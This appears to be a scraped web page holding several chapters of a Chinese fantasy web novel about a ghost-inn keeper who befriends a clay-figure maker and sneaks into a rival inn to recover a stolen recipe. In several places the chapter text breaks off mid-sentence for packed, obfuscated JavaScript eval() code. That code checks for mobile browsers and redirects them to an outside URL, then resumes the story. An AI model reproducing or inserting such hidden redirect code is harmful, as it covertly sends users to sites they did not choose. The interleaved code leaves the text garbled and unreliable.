l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165399|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你倒好，还管我要起钱了。” 谢轻荼盯着那几个四肢被挤得有些扭曲的猫咪泥偶：“是你的礼，还是褚泥的？” “他占了我的地盘，他的礼，不就是我的礼么。”孟娘理直气壮。 谢轻荼想起褚泥那副木讷的样子，怎么着都不像是会主动给人送礼的，这怕是孟娘的主意。许是她听范离原说起六味煲配方被盗一事，想来瞧瞧谢轻荼如何了，顺便安慰一下。 孟娘似是晓得她在想什么：“我教得好呗，府君三令五申，要那烂泥扶不上墙的泥偶学会以礼待客，这不讨喜管教活计便落到我头上。” “现下总算是有点起色了，恰好你这客栈不是要修筑茶室么，我告诉褚泥你喜欢猫儿，他便捏了几只猫咪泥偶，权当是贺礼了。” “白猫，黑猫，三花猫。”她一个一个点过去，又指向那只黑毛白脚掌的泥偶，“还有一只猫小二。” “多谢。” 四只猫儿甚是可爱，谢轻荼将它们摆在柜台后的多宝阁上，调笑道：“那你的贺礼呢？” 孟娘挑眉：“我出现在这里，不就是贺礼么？” 谢轻荼：“……” “谢掌柜。”恰逢此时章易从屋外回来了。 不知是打心底里想要将功补过，还是想在谢轻荼面前争个表现，除了睡觉，他一刻都没闲着。一早给客栈做了大扫除，又替杜榆锯了木材，身上尽是木屑，便想去房里沐浴更衣。 见到孟娘，他好似被猫拿了的耗子似的：“孟，孟娘。” 孟娘同望泉客栈打过好几回交道，客栈的伙计也面熟了，章易还让一目叫去给她送过东西，二人自然是认得的。 “章易，你怎的在无言客栈？”她晓得对方在八荒奇珍会上干的好事，眯起那双桃花眼，尾音有些凉意，“你在八荒奇珍会上可是出尽了风头啊，怎么，一目掌柜的没好好赏你？” 自然是赏了的。 赏了个巴掌。 章易听出她在阴阳怪气，面上燥得慌，去也不是，留也不是，就这么傻愣愣地杵着。 好在孟娘也能捋清其中的因果，晓得章易之所以在无言客栈，定是得了谢轻荼允许，因而她没再刁难对方，桃花眼又觑向一旁的白衣掌柜。 “谢掌柜倒是好心，我瞧你啊也莫开客栈了，组个戏班子得了，尽收留些牛鬼神蛇的。” 谢轻荼叹气：“好了，你总是这般，上回还诓骗裴宴辞说他烧的菜太咸了，害得他不敢多放盐，一连几日都是清汤寡水的。这样下去，我客栈的伙计迟早要被你吓走了。” “成，成，我不说便是，你心里有数就好。”孟娘一挥衣袖，“我回去了。” “等等。”谢轻荼唤住她，“我同你一起。” “你去地府做甚？” “找褚泥。” “找褚泥？”孟娘蹙眉，回忆起了之前的事，“你不会得了他几只泥偶，就想着要替他寻那人罢？” “我和你说，那老小子瞧着木木的，搞不好内里蔫坏得很。他央你寻人，又说自己不晓得那人是谁，知道谢掌柜良善，尽编些没谱的事拿你寻开心呢。” “不。” 谢轻荼道：“是我有事要拜托他。” 23. 牛肉萝卜馅煎饺 “谢掌柜，你好。” 谢轻荼到了泥偶摊子前，兜头便是褚泥语气毫无起伏的一声问好。 “…你也好。” 褚泥面无表情：“你吃了么？” 分明是普通的寒暄，叫这么死板地说出，在他口中像是成了咒人的话。不晓得的，还以为他说的是你死了么。 “…吃过了。” 说罢，谢轻荼一瞥孟娘，眼神好似在说，这便是你管教的成果么？ 对方干脆不去理会她，走到自己的摊子前支锅熬汤。 这来世捏脸服务的新鲜劲过去了，泥偶摊子不再独占鳌头，而是同孟娘的孟婆汤摊子分庭抗礼，霸占奈何桥头的两端。 “孟姑娘告诉我，见到人要问好，例如你好，你吃了么，近日可好。”褚泥说道，“谢掌柜，我做得好么？” 谢轻荼：“……” 这人许是没得治了。 她有点麻了：“好，好。” “啊。”褚泥意识到自己漏了什么，补充，“谢掌柜，近日可好？” 谢轻荼不打算再同他绕下去了，便将话头引向别处：“猫咪泥偶我很喜欢，多谢你了。” “你喜欢就好，我再替你捏一只。” 他没听出对方在说客套话，来不及阻拦，一只猫咪泥偶便自手下成型，涂上了橘色的颜料。 褚泥：“橘猫。” 谢轻荼捧着泥偶，颇有些不知所措。 “谢掌柜，你寻到那人了么？”褚泥生硬地转折。 “…还没有。” “哦。” 他木木地应了一声，又低头摆弄那滩泥巴，好似并不抱期待。 这下谢轻荼反倒过意不去了，想拜托他的话也说不出口。 “你若想寻那人，至少要同我说个大概，姓甚名谁，家住何处，就算是前世的也行。” “……” 褚泥罕见地沉默了。 就在谢轻荼以为他又要说不晓得时，对方低声道：“她叫褚子玉，是位…偶师。” 也是偶师？ 谢轻荼斟酌开口：“是塑造你的那位么？” 饶是见多识广如她，也未曾听闻过人间有哪位偶师捏的泥偶可以成精。 “…是。”褚泥说道，“不过这是前世的身份，她已转世轮回，至于她的今生，我不认得。” 泥偶想要寻找塑造自己的偶师，个中缘由不难猜到，多是因着对造物者的眷恋或是憎恨。只是这两种情感，褚泥好似都没有。 不过这是他的私事，谢轻荼不便过问，只道会替他留意。 “若你寻到，莫要向她提起我。”褚泥垂眸，侧脸那道疤痕尤为扎眼，“我只是想知道，她此生过得如何。” “好。” 谢轻荼应道，终于将话头拐到正事上，“可否劳烦你再替我捏一泥偶？” 褚泥抬头：“还是猫咪么？” “…不是。” 等听到她想要的究竟是何种泥偶后，褚泥有点意外，不过也仅有一点，那些许生动的神色瞬间又隐于满脸木然中。 他手指灵活得可怕，只一按一捏，手中泥偶便和谢轻荼所描述的大差不差了。也只有在塑泥偶时，他才像个活人。 谢轻荼捧着泥偶，前后打量一番：“这个可以变大么？” 褚泥点头，并示意她对着泥偶的嘴部吹一口气。 转眼那泥偶便化作等身大小，立在谢轻荼身边，和活人似的。 “再吸一口气，就能缩回原先的大小了。” 对着泥偶的嘴巴吐气吸气的，怎么着都有些诡异。不过谢轻荼还是照做，而后将它与橘猫泥偶一道收入袖口内。 “多谢，有了线索的话我会告知于你的。” 回到无言客栈，裴宴辞正收拾案上的空杯盏，踏雪四仰八叉地躺在柜台上，肚皮圆滚滚的，也不知是喝了多少。 见了谢轻荼，他搁下抹布，回灶房端了杯茶饮，献宝似的递给对方：“谢掌柜，我给你留了一份，尝尝如何。” 杯中并非桃汁乌龙，而是一种淡褐色的液体，瞧着有点像泥汤子，泛着股奶香味。 “牛乳茶？” “是。”裴宴辞期待地望着她，“用鲜牛乳与红茶煮的，踏雪喝了好几杯。” 牛乳经过高温熬煮，腥味淡了许多，不细细品味的话，几乎尝不出来。红茶相较于乌龙茶，涩味稍淡，同牛乳搭配，入口醇厚甘甜，回味绵长，与桃汁乌龙是种别样的滋味。 “很香。” 不过二字，裴宴辞却晓得，在她那里，这已然是很好的评价了，不免有些雀跃。 谢轻荼瞧得好笑，忽觉他有点像抱着松果，向人类邀功的松鼠。 不过转眼间，对方又愁着张脸：“可惜牛乳不易存放，明日便不新鲜了。” 谢轻荼宽慰他：“等茶室造好，我日日去人间采买便是，也不费事。” “制成乳酪也行。”裴宴辞低头思忖，“亦是不错的点心。” 他从怀里翻出食谱册子，粗略地记下自己的想法。经六味煲配方被盗一事，他不敢再让册子离身，随时放在身上，睡觉时，也会压在枕头底下。 待他回房歇息，谢轻荼在柜台的抽屉里找到名簿。 名簿记载了那些滞留狭间亡魂的名姓与前世今生，虽不知褚泥所寻之人现下是死是活，但万一呢？ 怀着侥幸心理，她翻开名簿，一张张浏览过去。等翻到裴宴辞那页，她又忍不住多瞧了几眼。 随着后面的纸张愈来愈薄，她逐渐不抱什么希望了，不过帮人帮到底，讲究有始有终，她还是继续往后翻。 出乎意料，这下倒真让她找着了。 “……” 谢轻荼目光凝在那纸页上，暗叹天底下怎会有如此巧合。不过既然褚泥的事有着落了，她想着是不是该用纸鹤传书告知对方。 纸笺都拿在手里了，她却又犯了难。该怎么同对方说呢，那人如今已然身死，转眼又要轮回转世了？ 虽说褚泥好似没有喜怒哀乐，但毕竟是他心心念念的人，就这么用纸笺写下冷硬的只言片语，怕是既不妥又有些残忍了。 放下纸笺，她想着干脆之后当面告知罢，反正时日还长。倘若现下传书，以褚泥不同于常人的性子，她真怕大晚上的，对方二话不说便冲到狭间来了。 在谢轻荼出神的片刻间，指尖又无意识地往后翻了一页，眼神掠过上面时，她又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165400|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禁愣住了。 这人是…… 她仔仔细细地，双眸在纸张上来回扫荡，而后心下恍然，原来竟是这样。先前让她感到违和的那些细节，现在都有了解释。 孟娘倒没说错，她这无言客栈，真就尽是些牛鬼神蛇。 次日。 裴宴辞将放在阴凉处保鲜的牛乳茶重新倒入锅中加热，又煎了一锅牛肉萝卜馅的饺子。客栈众人吃的都是客人余下的食材，用料有限，不过也能叫他做出新花样。 虽说谢轻荼让杜榆不用太过着急，但他依然压缩了自己的睡眠时间，再者有章易打下手，茶室外部的框架也差不多构筑好了。 踏雪抖落粘在毛上的木屑，像个小掌柜似的在一旁监工：“杜小哥，台面莫要打得太窄了，往后我要在上边打盹的。前堂油烟气大，呛人。” 见裴宴辞端早饭出来，它嗖的一声蹿到案上，嗅嗅煎饺，欣喜道：“是牛肉馅的。” “慢些，刚出锅的煎饺，当心烫。” 话音未落，踏雪已经含了枚煎饺在嘴里，烫得直吐热气。又一杯牛乳茶下肚，它仍不满足似的：“裴小哥，怎的今日没有桃汁乌龙呢？” “桃汁寒凉，不易早间食用。”裴宴辞也坐下吃煎饺，“想喝的话，午饭时给你煮。” 大伙都是亡魂了，还在乎寒不寒凉做甚。 踏雪腹诽，不过没说出口。裴宴辞惯常是个温软的性子，不过在吃食上，却有着自己的执拗。 谢轻荼在屋外同章易说话，见她进门，裴宴辞马上搁下筷子，去灶房为她端早饭。 “杜榆。”她唤住正打造台面的男子，“上午我要出门，章易也不在客栈，劳烦你多费神。有什么要紧事，便让柏玲帮忙罢，你们多商量商量。” 踏雪不满：“怎的不和我商量呢？” 谢轻荼揉揉它脑袋：“同你商量，怕是茶室要造成大猫窝了。” 裴宴辞将碗筷摆得端正，又为她斟上一小碟陈醋：“谢掌柜，上午要去人间采买食材么？” 谢轻荼摇头：“去望泉客栈一趟。” “又去那？”踏雪眼珠转了转，“哦，我晓得了，你是想去教训那独眼掌柜的。竟敢对咱们使阴招，干脆将他打得魂飞魄散得了，省的之后还要提防他。” 闻言，裴宴辞有些担心地望向谢轻荼。 “想什么呢。”谢轻荼轻笑，“同你说过多少回了，国有国法，家有家规，地府亦有地府的规矩。若在狭间闹事，不说府君了，判官殿都得判我去十八层地狱走一遭。” 她忍不住逗弄猫儿：“你也有份，毕竟是你教唆的。” 踏雪吓得煎饺都不吃了，而后见对方勾起唇角，它反应过来自己被耍了，气急：“好你个千年老鬼，竟然诓我。分明是那独眼掌柜先盗配方在先，咱们还不能找他麻烦了？” 它说得倒也在理。 谢轻荼叹气，亲手盗走配方的人并非一目，若要追究，他也不会有很大的麻烦，只是他派来的那人要遭殃了。 “所以，谢掌柜你是要去做什么的？”裴宴辞皱眉。 “自然是去偷东西的。”她笑。 裴宴辞：“……” 说好地府有地府的规矩呢？ 24. 望泉客栈·上 “掌柜的，客栈还有房么？” “有的，有的，多得是，里边请。”一目眯着独眼笑，唤伙计领那位客人入住。转眼他又瞧见向这边走来的谢轻荼，面上笑意瞬间退去了。 “谢掌柜怎的来了？” “从前听孟娘说，望泉客栈的汤池舒服极了，安神，滋养魂魄，便也想来泡泡。”谢轻荼好整以暇地望着他，“不知一目掌柜愿不愿意迎我这客。” 章易走后，望泉客栈人手不太充裕，替他的那小厮又不如他那般活络，一目便自己守在门口迎客。 他也是做贼心虚，自家盗了六味煲的配方在先，料想谢轻荼不会就此作罢。自己守在门前，也为了不让对方溜进客栈里。 现在谢轻荼果真来了，想也不是泡汤那么单纯的缘由，他哪能放行。 “谢掌柜说笑了，客人来了，岂有不迎的道理。”他佯装犯难，“只是不巧，今日没有房间了，实在对不住。” 谢轻荼：“这样么，可我好像听见你说房间多得是。” 啧，这顺风耳。 一目咬牙。 “我这忙里忙外的，记岔了，方才那位客人入住的，便是小店最后一间客房了。”一目朝那伙计使眼色，“是罢？” 伙计心领神会：“是，是，已经住满了。” 他俩一唱一和，谢轻荼也不恼，见狭间又下来一批亡魂，面上浮现一抹浅笑：“如此这般，我只好领他们去无言客栈了。” 一目僵住。 说罢，她作势要离开。 “哎，等等等等。”一目见钱眼开的性子，又怎会容忍就在眼前的冥币落到谢轻荼手里，慌忙拦下她，赔笑道，“你瞧这事儿闹的，谢掌柜从前身为府君身边的大红人，我这小小客栈，怕是入不得你的眼。出此下策，也是担心会扰了你的兴致，还望莫怪。” “不如这样罢，我还预留了一间房，原本是打算自个忙完去放松放松的，现下便让给你。”他扭头吆喝伙计，“那个谁，阿柄，领谢掌柜去上房。” 望泉客栈的汤池房分两种，位于中庭天井下的露天多人汤池，还有同卧房相连的独立厢房，都在一楼，连着地底泉眼，楼上则都是没有汤池的普通客房。 谢轻荼搁下冥币后，让阿柄领着到走廊最里边的房间。 甫一开门，便是一股硫磺混着熏香的气味扑面而来，绘制精怪纹样的油纸屏风后，汤池白气氤氲，好似仙境。 侧边小门连着卧房，里头未点油灯，暗沉沉的，熏香味自那传出。 “安神香。”一目说道，“卧房惯常都点着，客人喜欢，也能遮盖些许汤池的硫磺味。若谢掌柜闻不习惯，就让阿柄去熄了。” “无事，点着罢。” “泡的时间久了容易乏力，可要备些吃食？” 闻言，谢轻荼笑了：“一目掌柜指的是望泉客栈的招牌菜，五色盅？” 招牌菜三字让她咬得颇重，好似寂静春日里落在檐上的雨珠，动人心魄。终是提起了这茬，一目内心让她的话浇得凉飕飕的，眼底控制不住透出点堪称心虚的神色。 “不用。”谢轻荼倒是没再纠结于此，“我用过早饭了。” 二人说话的间隙，一位姑娘端着布巾和浴衣进门。 一目见了她，宛如见到救星，忙岔开话头：“她叫葭。” “阿柄一个大男人，不方便服侍你。等会若是缺了什么，唤葭便好。” 葭放下托盘，就要替谢轻荼更衣。 “不用。” 谢轻荼不怎么习惯和旁人肢体接触，怪不自在的，即便同为女子也不行。更何况，她衣裳里还藏着东西。 “是。”葭语气恭敬，稍稍欠身，“谢掌柜，我就在门外，有事请唤我。” 等他们离开，谢轻荼上下打量起这间厢房。透气的镂空雕花窗棂缝隙很窄，倘若踏雪在这里，它倒是能缩骨钻出，自己就别想了。 卧房是全封闭式的，雕琢考究的梨花木床榻的轮廓隐于昏霭之中，纱帐束起，里头的被褥不知是用何种材料绣织的，但许是造价不低。 一目倒舍得花钱。 她回到汤池边。 除了房门，屋内不再有旁的出口。她那移形换影之术亦多有限制，不可隔墙施展。 也就是说，这是间密室。 她面上没什么表情，褪去衣衫，而后坐入汤池里。 门外。 葭听见入水的声响，松了口气。 阿柄正欲离开，不料却被一目拽住。 “你同葭一道守着。” 一目压低声音，叮嘱二人：“都给我盯紧了，一只苍蝇都莫要让其飞出，若是有什么差池…” 他尾音拖着点狠戾，闻言阿柄咽了口唾沫：“晓得了。” 一目转身离开。 等待的时间很难熬，阿柄有些闲不住，挠挠一头青茬，又摆弄起衣袖上的线头，布料摩挲出一阵恼人的轻响。 “嘶…” 他扭头，见葭正满脸不耐地瞋着他，眼神示意安静。 静止片刻，他又忍不住搭话：“你说，谢轻荼到底来干嘛的，莫非是为了那五色盅…” “别出声。”葭打了他一下，用气声道，“这门板可不怎么隔音，你想让她听见？” 阿柄悻悻挠头，不吱声了。 约莫一炷香的时间后，就在他犯起困，眯缝着眼打哈欠时，一抹白色的身影从泪眼朦胧的视野里掠过。 那是？ 他瞬间醒了瞌睡，揉揉双眼，正好瞧见那人的侧脸。 “谢轻荼？”他喉咙里不受控制地滚出一声惊呼。 葭侧耳贴在门板上，仔细听着里头的动静，此时猝不及防叫他骇了一跳，不满皱眉：“你疯了么，咋咋唬唬干什么？” 阿柄指着走廊拐角处，结结巴巴道：“谢轻荼在那里…” 他手指的地方哪还有什么人影。 “你眼花了罢？” “我没有。”阿柄连连摇头，“那一身白衫，不是谢轻荼又是谁？” “闭嘴。”葭的眼神好似恨不得将他生吞活剥了，“谁规定旁的客人就不能穿白衫了，你别给我没事找事。” “不是，我见着她的脸了，那人就是谢轻荼。” “怎么会。”听他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165401|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信誓旦旦的，这下葭也慌了神，“厢房只这一个出口，若她出门，你我怎么可能不知道，莫非她还会穿墙术不成？” “怎么不会，谢轻荼从前是鬼差，与咱们这些亡魂可不同，会那穿墙之术也不足为奇。”阿柄急得脑门都让他挠出红痕，他慌里慌张的，就要离开，“我去告诉掌柜的。” “别去。”葭揪住他衣领。 “怎，怎么了？” “忘了掌柜的叮嘱过什么吗，咱们让谢轻荼溜了，你还上赶着去领罚，生怕我们不会落得章易那般下场是么？” 阿柄彻底傻了：“那该如何是好？” “先别告诉他，我们分头去找，若逮住了谢轻荼，这事便还有挽回的余地。” 可捉住身形诡谲的谢轻荼谈何容易，葭让阿柄上楼寻找，自己则留在一楼。 前堂尽是住店的客人，她猫着腰穿行于人潮之中，心里边痛骂阿柄，倘若最后发现是对方搞错了，她非得好生教训一番那人不可。 左顾右盼，并未寻到谢轻荼的身影。别说谢轻荼了，就连一个身着白衫的客人都没有。 莫非藏在客房里了？ “客官，吃好喝好啊。” 听见熟悉的嗓音，她慌忙隐在一旁的假山石后头。 一目满脸堆笑，正忙着招呼客人。葭轻轻探出脑袋，见对方并未发现自己，松了口气，而后她的目光又落在案上的糕点上，心下有了主意。 冒然闯入客房寻人过于唐突，客人难免不快，要是向一目告状就不好了。于是乎她端来糕点，以送茶点为由敲响房门，厢房就这么点大，有没有藏人，一目了然。 可依然不见谢轻荼身影。 嘶…该不会已经离开望泉客栈了罢，这就糟了。 葭正捧着一摞空碟犯难，恰好阿柄也从楼上下来，面色不霁，许是没什么好消息。 “你确定没搞错？” 这下阿柄也说不好了：“这…那人就是很像谢轻荼啊。” “很像？”葭深吸一口气，“你知不知道，很像和就是之间是有界限的，你瞧见的到底是不是她？” 阿柄支支吾吾地说不出话。 “罢了，回去再说，至少别让掌柜的晓得咱们擅离职守了。” 回到房门前。 阿柄萌生出一个疯狂的念头：“干脆咱们闯进去罢，她在是不在，一瞧便知。” “别咱们了。”葭翻了个白眼，“你若想这么干，麻烦等我离开了再说，别害得我和你一同叫谢轻荼打得魂飞魄散。” 她轻轻叩了叩门板，试探性地唤道：“谢掌柜，要用热茶么？” 无人回应。 “糟了，她不在房里。” 拦住就要破门而入的阿柄，她有了法子，道一声莫急，许是睡着了，而后偷偷拉开木门。 烛影摇曳之中，只见谢轻荼朦胧的剪影透过油纸屏风，仍好端端地待在汤池里。 阿柄也凑近一瞧：“……” 他腹部猝不及防挨了一拳，忍着疼痛，见葭攥紧手掌，恶狠狠地瞪着他。 “就说是你搞错了，差点叫你害死。” 25. 望泉客栈·下 不久前。 谢轻荼俯身蹲在房梁上，身形隐于六角灯笼之中，见下方葭正端着糕点一间间地叩响房门。 这姑娘倒是机灵，只可惜… 她暗笑一声。 等对方消失在回廊的拐角处，她身轻如燕，游走于梁上，气息妥帖地隐了去，连灯笼都不见摇晃一二。 灶房和伙计们住的厢房在一楼最端头的角落里，以天井与客房隔开。她自那翻身落下，靴尖点在水缸边沿，而后风一般掠进廊内。 伙计们都去前堂招呼客人了，灶房空无一人。满是灰尘油渍的灶台上，余下的五色盅在锅里蔓着白烟，谢轻荼没去管它，翻找起靠墙放着的五斗橱。 抽屉里尽是些用旧的锅碗，还有生了霉点子的干货。一目惯常秉持的观念便是，既为亡魂，吃什么不是吃，明面上的功夫做足便好。 所以这些干货，撇去上头的霉斑后，还会继续用在客人的食物里。 她嫌弃地用帕子裹住自己的手掌，素白的布料不一会便染上脏污，这灶房甚至比茅房还脏，若裴宴辞在场，怕是再没眼瞧。 雕栏玉砌的望泉客栈，客人踏足不到的地方，竟是这般腌臜之地，也可谓是金玉其外，败絮其中了。 翻了半天，报废一张帕子，也不见她所寻之物。 六味煲的配方在何处？ “嗒，嗒。” 门外脚步声由远及近响起。 有人来了。 灶房就这么大，没地儿可藏身。谢轻荼心往下沉，眸色阴晦，鬼气自掌心涌现，只听门轴吱嘎一声响—— “自从无言客栈那姓裴的厨子来了之后，咱们的客人被分走大半，客房都住不满了。”伙计推门，“你的厨艺怕是连人家半根手指头都及不上。” 他身后包着头巾的厨子不服地骂道：“你懂个屁，都是一双手十根手指，我怎么就连手指头都及不上了，分明是因为掌柜的搞不来新鲜食材。” “住不满也好，你以为客人多了掌柜的就会多给你工钱啊，人少最好，咱们也乐得轻松。” “也是。” 伙计不顾油污倚在灶台边沿，见锅里五色盅还有多，拾起汤勺径直塞进自己嘴里，咂巴两下：“这无言客栈的招牌菜六味煲也就这么回事，寡淡。” “你小点声，这是咱们望泉客栈的五色盅。”厨子心虚地向门边瞥了一眼，又使劲敲了下他的脑袋，“说过多少回了，别这么干，汤勺进过你那臭嘴里，客人还怎么喝？” “你我不说，谁会晓得。”伙计被敲得脖颈缩了缩，又舀一勺汤，“不是，这也太淡了，你是不是少放盐了？” “都说了是食材的原因。” 粘着唾液的汤勺被重新扔回锅里，又搅和几番：“我不信，你去给我瞧眼配方，你这做得明显不对。” “一边去，配方哪能在我这，起初我照着做过一回后，掌柜的便藏他屋里去了。” “他是不是还用匣子锁了？宝贝似的，生怕别人不晓得配方是他偷来的。”那伙计轻嗤，“命人混入无言客栈，这般损招，也只有他能想到了。” “隔墙有耳，少说两句。” 说话间，他隐约感到丝丝凉风吹来，回头，见窗扇开了一条小缝。 “之前让你关窗，忘啦？若客人不经意路过外头，让他们瞧见灶房内部，那就不好了。” “我记得离开前分明落了锁啊。” “不是你忘关了，那是鬼开的？”厨子呛他，砰的一声合上窗扇，落锁。 “说得好像你不是鬼似的。” 那伙计的声音隔着窗扇，落到谢轻荼耳里，有些糊。 窗外，白衫女子攀附外墙上，右手勾着檐角。好在灶房不同于客房，是外开制式的窗扇，以便散去油烟气，她这才得以脱身。 若和那二人正面对上，难免惊动客栈上下，到时再想实施她的计策，就难了。 听闻他们的对话，谢轻荼晓得了六味煲的配方藏在一目的房间里。她向上方望去，红墙黛瓦之下，飞檐翘角错落有致，倒方便她施展轻功。 空中旋起一抹白影。 她靴尖轻点，破开浓稠雾气往上，白衣翩然，丝毫不见吃力，转眼便鹤立于三楼观景台雕刻貔貅像的栏柱上。 整个三楼都是一目一人的地盘，颇有欲压众生一头的气势。他倒是不舍得亏待自己，虽说三楼及不上一二层那般大，但也有与无言客栈地基相当的大小了。 松柏盆景靠着假山石，地上铺满白砾石，人造池塘上架设一座小小的石桥。再往里瞧，卷帘束起，一对梨花木打的太师椅，旁边案上茶水微凉，盘中只余糕点碎屑。 狭间终年雾气缭绕，无景可观，一目便自己在观景台上打造一番人造的景。 小厅连着卧房，谢轻荼侧耳挨近合上的木门，听见里头沉闷的鼾声。 一目正卧榻小憩。 不知六味煲的配方叫他藏在哪个犄角旮旯，贸然进屋翻找，很有可能惊醒榻上之人。正当谢轻荼想着该用什么法子将其引出房间时，楼梯口忽然响起一道轻细的人声。 “谢掌柜。” 不是葭，也不是阿柄，楼梯拐角处探出一张女子的脸。说陌生，其实也不太陌生，她今日在望泉客栈门口见过对方，正是在她前头入住的客人。 心中的那点顾虑在见到那张脸的瞬间便打消了。 “章易。” 易容作女子的章易见到她时松了口气：“谢掌柜，我在楼下找你半天，你怎的到三楼来了，配方可寻着了？” 他身上这件略显古朴的女装还是向谢轻荼借来的，对方满柜白衫中难得有件压箱底的暖色衣裳，忘了是哪个年头缝制的，没怎么穿过。 衣领下隐约透着一抹白色。 先前阿柄见到的，疑似谢轻荼的女子，也正是他易容的。他对望泉客栈的布局很是熟悉，引开那二人后，他轻车熟路地甩开身后的尾巴，寻了个僻静角落，重新套上外衫，再调整面上封穴的银针。 倘若男子想要易容作女子的身段，须得全身封穴，相较于面部的易容，难度又上一档次。他鲜少这么做，还有些不大习惯。 好在章易本身身段消瘦，再者谢轻荼亦比寻常女子要高上许多，易容作她倒不会很费劲。 短时间内，面部数次调整封针，肌肉也有些排斥异物的纳入，所以他尽量不多做夸张的表情，免得崩了。 不过谢轻荼一贯是没什么表情的，况且阿柄只瞥见他的侧脸一瞬，轻易地便骗过了对方。 他望向谢轻荼的目光中不免染上一丝崇敬，她在八荒奇珍会上叫易容之术摆了一道，现下又反过来利用这易容之术，从密不透风的房间里脱身，将望泉客栈众人耍得晕头转向。 调虎离山，偷天换日。 妙，实在是妙。 谢轻荼眼神示意他拢好领口，莫要让他人瞧见内里的白衫。 “还没，六味煲的配方在一目房里，他正在榻上歇息。那人做贼心虚，配方定不会搁在明面上，一时半会是寻不到的，倘若这般潜入，怕是有可能将他吵醒，那样就不好了。” 低声说话的间隙，她仍时刻惦记着屋内的动静，心里暗自盘算时辰。现下是未时三刻，鼾声逐渐弱了下去，一目也是时候该醒了。 先前正想着该用何种法子将他引出卧房，章易的出现，好似一场解渴的及时雨，轻易便能化解眼前的难事。 对方现下是客人的身份，若要差遣一目，也合乎常理。 “待会你去敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165402|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门，将其引出卧房，我再去寻找配方，你想法子多拖延些时间。” 她尝到了调虎离山的甜头，既然此等计策好用，那便要多用，也不枉章易数次改头换面。 章易点头，眼中又浮现担忧之色：“谢掌柜，你离开厢房许久，葭和阿柄迟早觉出不对。若他们发现房里没人，怕是当即会向一目禀报。” “放心罢，料想他们不敢擅自闯入，顶多从门缝间窥一眼。何况我在汤池里放了一个小玩意，可拟造我仍在泡汤的假象。不过那玩意遇水则化，撑不了多久，所以我们得抓紧时间，尽量莫要耽搁。” 听她这么说，章易也没再多问。 “到时你自己算好时间，半柱香的功夫后，你不必再顾及我，径直离开便是，我们之后在无言客栈碰面。” 说罢，她转身隐入卧房另侧的狭窄廊道中，这边也是半露天的，栏柱上貔貅像朝外，尽头放着一摞杂物。 从这个角度望去，恰好能窥得楼梯的一角。 章易哐哐砸门，嘴里吐出一道低哑的女声：“掌柜的，掌柜的，你在房里么？” 易容者多会拟声之术，二者相辅相成。想来也是，倘若一女子口中道出男声，怕是当场便要露馅了。 卧房里响起被褥的窸窣声音，一目醒了。 谢轻荼听见门轴吱嘎一声。 “呦，客官，您这是怎么了，这般着急？”一目睡眼惺忪，独眼眯瞪地睁着。他叫章易扰了周公梦，心里不快，面上却仍是那副陪笑的神色，“招待不周，还望见谅。” “你们这客栈怎么回事，被褥都是潮的。我在二楼找了半天，一个伙计的影子都没见着，还得我亲自上楼寻你，你说我是来住店的，还是来受罪的？” “你若不想好好待客，行，退钱便是，狭间又不只你这一家客栈，我另寻他处。” 章易扮作发难的客人倒真像那么回事，唾沫横飞，凶神恶煞，指尖都快要抵上一目脑门，哪里还见他一贯唯唯诺诺的样子。谢轻荼听得咂舌，也不知他是扮相的成分多一点，还是连着八荒奇珍会上的旧怨，一并如数奉还给一目了。 一听退钱二字，一目当即便清醒了。这又不是临河的无言客栈，被褥怎会受潮，不过即便这般想着，他也自然是不会同客人犟嘴的。 “您瞧这事闹的，许是伙计疏忽了，您放心，我之后定会好生责罚他们。这样如何，我为您换间汤池上房，泡泡汤，舒坦舒坦，还请消消气，这边请。” 见二人身影消失在楼梯拐角，谢轻荼现身。 好在一目走得急，房门并未落锁，虚掩门缝中泄出油灯暖光。 灶房脏成那般，他的卧房倒一尘不染，许是日日差遣伙计打理。 木柜里搁着些字画古玩，都属于前朝旧物，也不知是他从何处搞来的。抽屉角落放着摞前几个年头的账本，写得满当，谢轻荼大致翻了翻，并未寻得配方的踪影。 都说身外之物，生不带来死不带去，这房里杂物却尤为得多，她翻箱倒柜，又逐一复位。一目没舍得让伙计擦拭这些古玩，免得磕了碰了，他得心疼死，所以抽屉里尽是灰，谢轻荼不慎呛了一口，压着嗓子咳嗽起来。 能藏东西的地方翻得差不多了，随着时间流逝，她眉心逐渐蹙起。也不知章易那头如何了，若是再拖下去，她很有可能撞上回房的一目。 